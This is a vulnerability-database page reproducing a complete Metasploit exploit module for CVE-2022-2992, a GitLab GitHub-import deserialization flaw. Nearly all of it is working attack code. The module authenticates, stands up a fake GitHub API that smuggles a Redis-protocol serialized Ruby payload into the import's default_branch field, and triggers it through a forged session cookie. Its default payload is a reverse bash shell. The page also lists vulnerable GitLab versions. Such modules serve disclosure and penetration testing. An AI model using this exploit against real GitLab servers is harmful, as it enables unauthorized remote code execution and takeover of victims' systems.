Lucene search
K

GitLab GitHub Repo Import Deserialization Remote Code Execution

🗓️ 15 Feb 2023 00:00:00Reported by Heyder Andrade, William Bowling, RedWay Security, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 309 Views

GitLab GitHub Repo Import Deserialization RCE An authenticated user can import a repository from GitHub into GitLab. The server will reply with a Redis serialization protocol object in the nested `default_branch`. GitLab will cache this object and then deserialize it when loading a user session, causing RCE

Related
Code
ReporterTitlePublishedViews
Family
0day.today
GitLab GitHub Repo Import Deserialization Remote Code Execution Exploit
15 Feb 202300:00
zdt
GithubExploit
Exploit for Injection in Gitlab
14 Oct 202220:47
githubexploit
GithubExploit
Exploit for Injection in Gitlab
8 Oct 202211:42
githubexploit
Circl
CVE-2022-2992
9 Oct 202214:07
circl
CNNVD
GitLab 注入漏洞
31 Aug 202200:00
cnnvd
CVE
CVE-2022-2992
17 Oct 202200:00
cve
Cvelist
CVE-2022-2992
17 Oct 202200:00
cvelist
Debian CVE
CVE-2022-2992
17 Oct 202200:00
debiancve
FreeBSD
Gitlab -- multiple vulnerabilities
30 Aug 202200:00
freebsd
Tenable Nessus
FreeBSD : Gitlab -- multiple vulnerabilities (e6b994e2-2891-11ed-9be7-454b1dd82c64)
30 Aug 202200:00
nessus
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
  
include Msf::Exploit::Git::SmartHttp  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer  
include Msf::Exploit::Remote::HTTP::Gitlab  
include Msf::Exploit::RubyDeserialization  
  
attr_accessor :cookie  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'GitLab GitHub Repo Import Deserialization RCE',  
'Description' => %q{  
An authenticated user can import a repository from GitHub into GitLab.  
If a user attempts to import a repo from an attacker-controlled server,  
the server will reply with a Redis serialization protocol object in the nested  
`default_branch`. GitLab will cache this object and  
then deserialize it when trying to load a user session, resulting in RCE.  
},  
'Author' => [  
'William Bowling (vakzz)', # discovery  
'Heyder Andrade <https://infosec.exchange/@heyder>', # msf module  
'RedWay Security <https://infosec.exchange/@redway>', # PoC  
],  
'References' => [  
['URL', 'https://hackerone.com/reports/1679624'],  
['URL', 'https://github.com/redwaysecurity/CVEs/tree/main/CVE-2022-2992'], # PoC  
['URL', 'https://gitlab.com/gitlab-org/gitlab/-/issues/371884'],  
['CVE', '2022-2992']  
],  
'DisclosureDate' => '2022-10-06',  
'License' => MSF_LICENSE,  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD],  
'Privileged' => false,  
'Stance' => Msf::Exploit::Stance::Aggressive,  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_bash'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
  
register_options(  
[  
OptString.new('USERNAME', [true, 'The username to authenticate as', nil]),  
OptString.new('PASSWORD', [true, 'The password for the specified username', nil]),  
OptInt.new('IMPORT_DELAY', [true, 'Time to wait from the import task before try to trigger the payload', 5]),  
OptAddress.new('URIHOST', [false, 'Host to use in GitHub import URL'])  
]  
)  
deregister_options('GIT_URI')  
end  
  
def group_name  
@group_name ||= Rex::Text.rand_text_alpha(8..12)  
end  
  
def api_token  
@api_token ||= gitlab_create_personal_access_token  
end  
  
def session_id  
@session_id ||= Rex::Text.rand_text_hex(32)  
end  
  
def redis_payload(cmd)  
serialized_payload = generate_ruby_deserialization_for_command(cmd, :net_writeadapter)  
gitlab_session_id = "session:gitlab:#{session_id}"  
# A RESP array of 3 elements (https://redis.io/docs/reference/protocol-spec/)  
# The command set  
# The gitlab session to load the payload from  
# The Payload itself. A Ruby serialized command  
"*3\r\n$3\r\nset\r\n$#{gitlab_session_id.size}\r\n#{gitlab_session_id}\r\n$#{serialized_payload.size}\r\n#{serialized_payload}"  
end  
  
def check  
self.cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) unless cookie  
  
vprint_status('Trying to get the GitLab version')  
  
version = Rex::Version.new(gitlab_version)  
  
return CheckCode::Safe("Detected GitLab version #{version} which is not vulnerable") unless (  
version.between?(Rex::Version.new('11.10'), Rex::Version.new('15.1.6')) ||  
version.between?(Rex::Version.new('15.2'), Rex::Version.new('15.2.4')) ||  
version.between?(Rex::Version.new('15.3'), Rex::Version.new('15.3.2'))  
)  
  
report_vuln(  
host: rhost,  
name: name,  
refs: references,  
info: [version]  
)  
return CheckCode::Appears("Detected GitLab version #{version} which is vulnerable.")  
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError  
return CheckCode::Detected('Could not detect the version because authentication failed.')  
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e  
return CheckCode::Unknown("#{e.class} - #{e.message}")  
end  
  
def cleanup  
super  
return unless @import_id  
  
gitlab_delete_group(@group_id, api_token)  
gitlab_revoke_personal_access_token(api_token)  
gitlab_sign_out  
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e  
print_error("#{e.class} - #{e.message}")  
end  
  
def exploit  
if Rex::Socket.is_internal?(srvhost_addr)  
print_warning("#{srvhost_addr} is an internal address and will not work unless the target GitLab instance is using a non-default configuration.")  
end  
  
setup_repo_structure  
start_service({  
'Uri' => {  
'Proc' => proc do |cli, req|  
on_request_uri(cli, req)  
end,  
'Path' => '/'  
}  
})  
execute_command(payload.encoded)  
rescue Timeout::Error => e  
fail_with(Failure::TimeoutExpired, e.message)  
end  
  
def execute_command(cmd, _opts = {})  
vprint_status("Executing command: #{cmd}")  
# due to the AutoCheck mixin and the keep_cookies option, the cookie might be already set  
self.cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) unless cookie  
vprint_status("Session ID: #{session_id}")  
vprint_status("Creating group #{group_name}")  
# We need group id for the cleanup method  
@group_id = gitlab_create_group(group_name, api_token)['id']  
fail_with(Failure::UnexpectedReply, 'Failed to create a new group') unless @group_id  
@redis_payload = redis_payload(cmd)  
# import a repository from GitHub  
vprint_status('Importing a repository from GitHub')  
@import_id = gitlab_import_github_repo(  
group_name: group_name,  
github_hostname: get_uri,  
api_token: api_token  
)['id']  
  
fail_with(Failure::UnexpectedReply, 'Failed to import a repository from GitHub') unless @import_id  
# wait for the import tasks to finish  
select(nil, nil, nil, datastore['IMPORT_DELAY'])  
# execute the payload  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path, group_name),  
'method' => 'GET',  
'keep_cookies' => false,  
'cookie' => "_gitlab_session=#{session_id}"  
})  
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e  
fail_with(Failure::Unknown, "#{e.class} - #{e.message}")  
end  
  
def setup_repo_structure  
blob_object_fname = "#{Rex::Text.rand_text_alpha(5..10)}.txt"  
blob_data = Rex::Text.rand_text_alpha(5..12)  
blob_object = Msf::Exploit::Git::GitObject.build_blob_object(blob_data)  
  
tree_data =  
{  
mode: '100644',  
file_name: blob_object_fname,  
sha1: blob_object.sha1  
}  
tree_object = Msf::Exploit::Git::GitObject.build_tree_object(tree_data)  
  
commit_obj = Msf::Exploit::Git::GitObject.build_commit_object(tree_sha1: tree_object.sha1)  
  
git_objs = [ commit_obj, tree_object, blob_object ]  
  
@refs =  
{  
'HEAD' => 'refs/heads/main',  
'refs/heads/main' => commit_obj.sha1  
}  
@packfile = Msf::Exploit::Git::Packfile.new('2', git_objs)  
end  
  
# Handle incoming requests from GitLab server  
def on_request_uri(cli, req)  
super  
headers = { 'Content-Type' => 'application/json' }  
data = {}.to_json  
case req.uri  
when %r{/api/v3/rate_limit}  
headers.merge!({  
'X-RateLimit-Limit' => '100000',  
'X-RateLimit-Remaining' => '100000'  
})  
when %r{/api/v3/repositories/(\w{1,20})}  
id = Regexp.last_match(1)  
name = Rex::Text.rand_text_alpha(8..12)  
data = {  
id: id,  
name: name,  
full_name: "#{name}/name",  
clone_url: "#{get_uri.gsub(%r{/+$}, '')}/#{name}/public.git"  
}.to_json  
when %r{/\w+/public.git/info/refs}  
data = build_pkt_line_advertise(@refs)  
headers.merge!({ 'Content-Type' => 'application/x-git-upload-pack-advertisement' })  
when %r{/\w+/public.git/git-upload-pack}  
data = build_pkt_line_sideband(@packfile)  
headers.merge!({ 'Content-Type' => 'application/x-git-upload-pack-result' })  
when %r{/api/v3/repos/\w+/\w+}  
bytes_size = rand(3..8)  
data = {  
'default_branch' => {  
'to_s' => {  
'bytesize' => bytes_size,  
'to_s' => "+#{Rex::Text.rand_text_alpha_lower(bytes_size)}\r\n#{@redis_payload}"  
# using a simple string format for RESP  
}  
}  
}.to_json  
end  
send_response(cli, data, headers)  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation